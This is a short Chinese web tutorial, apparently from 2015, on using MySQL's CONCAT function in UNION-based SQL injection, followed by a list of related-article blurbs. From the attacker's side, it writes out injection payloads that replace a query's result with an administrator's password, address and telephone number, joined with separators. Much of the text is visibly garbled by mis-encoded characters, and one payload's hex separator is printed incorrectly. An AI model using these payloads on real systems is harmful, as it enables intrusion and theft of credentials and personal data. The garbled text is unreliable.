Mysql數(shù)據庫使用concat函數(shù)執(zhí)行SQL注入查詢
更新時間：2015年04月09日 10:04:08 投稿：junjie
這篇文章主要介紹了Mysql數(shù)據庫使用concat函數(shù)執(zhí)行SQL注入查詢,concat函數(shù)在SQL注入查詢中會有意想不到的作用,本文就起講解它的使用,需要的朋友可以參考下
SQL注入語句有時候會使用替換查詢技術，就是讓原有的查詢語句查不到結果出錯，而讓自己構造的查詢語句執(zhí)行，并把執(zhí)行結果代替原有查詢語句查詢結果顯示出來。
例如：原本查詢語句是
復制代碼 代碼如下:
select username,email,content from test_table where user_id=uid;
其中uid,是用戶輸入的。正常顯示結果會出現(xiàn)用戶名，用戶郵箱，用戶留言內容。但是如果uid過濾不嚴，我們可以構造如下SQL語句來獲得任意數(shù)據表信息。
復制代碼 代碼如下:
uid=-1 union select username ,password,content from test_talbe where user_id=管理員id;
實際執(zhí)行就是
復制代碼 代碼如下:
select username,email,content from test_table where user_id=－1 union select username ,password,content from test_talbe where user_id=管理員id;
其中顯示正常用戶emai的地方，變成了顯示管理員的密碼了。
但是，往往事情并不是這么簡單，首先要找到漏洞，其次構造這種語句時候要考慮各個字段的類型，讓int或samllint類型的字段顯示varchar顯然不合適。最后就是本文要說的。
如果出現(xiàn)問題的SQL語句只有一個或兩個字段怎么辦，我們想知道很多東西，一兩個字段太少了，遠遠不能滿足我們的需要。那么我們可以使用concat函數(shù)。
concat函數(shù)本來是這樣用的SELECT CONCAT('My', 'S', 'QL');執(zhí)行結果是'MySQL'。也就是連接作用的。我們利用它來為我們服務，
復制代碼 代碼如下:
uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理員id;
這個語句實際查詢了六個字段，但是顯示的時候，把password,sex,address,telephone等字段合在一起，顯示在原本應該顯示email的地方。
更好的方法：中間用分隔符分開：
復制代碼 代碼如下:
uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理員id;
其中0×3a是“:”的十六進 制形式。
相關文章
SQL語句中LEFT JOIN的ON和WHERE有什么區(qū)別
這篇文章主要介紹了SQL語句中LEFT JOIN的ON和WHERE之間的區(qū)別，文中通過示例代碼介紹的非常詳細，對大家的學習或者工作具有一定的參考學習價值，需要的朋友們下面隨著小編來一起學習吧2022-12-12
本文主要介紹了MySql死鎖怎么排查的方法實現(xiàn),文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2025-02-02
windows下MySQL5.6版本安裝及配置過程附有截圖和詳細說明
這篇文章主要介紹了windows下MySQL5.6版本安裝及配置過程附有截圖和詳細說明，需要的朋友可以參考下2013-06-06
MySQL 是一種關系型數(shù)據庫，在Java企業(yè)級開發(fā)中非常常用，因為 MySQL 是開源免費的，并且方便擴展MySQL是開放源代碼的，因此任何人都可以在 GPL的許可下下載并根據個性化的需要對其進行修改2021-06-06
我們是否看到過在公司中許多查詢語句都是select * xxxx，本文就主要介紹了MySQL之select優(yōu)化方案，具有一定的參考價值，感興趣的可以了解一下2021-08-08
這篇文章主要介紹了MySQL子查詢用法,結合實例形式對比分析了MySQL子查詢的設置技巧,需要的朋友可以參考下2016-04-04
前兩天發(fā)現(xiàn)同事要做一個對大表進行范圍查詢的功能,所以需要生成千萬數(shù)據進行性能測試,下面這篇文章主要給大家介紹了關于MySQL生成千萬測試數(shù)據以及遇到的問題的相關資料,文中通過實例代碼介紹的非常詳細,需要的朋友可以參考下2022-08-08
這篇文章主要介紹了mysql 重要日志文件的匯總，幫助大家更好的理解和使用MySQL數(shù)據庫，感興趣的朋友可以了解下2020-11-11
我一直是使用mysql這個數(shù)據庫軟件，它工作比較穩(wěn)定，效率也很高。2009-05-05
這篇文章主要介紹了解決mysql數(shù)據庫導入sql文件不成功的問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教2023-11-11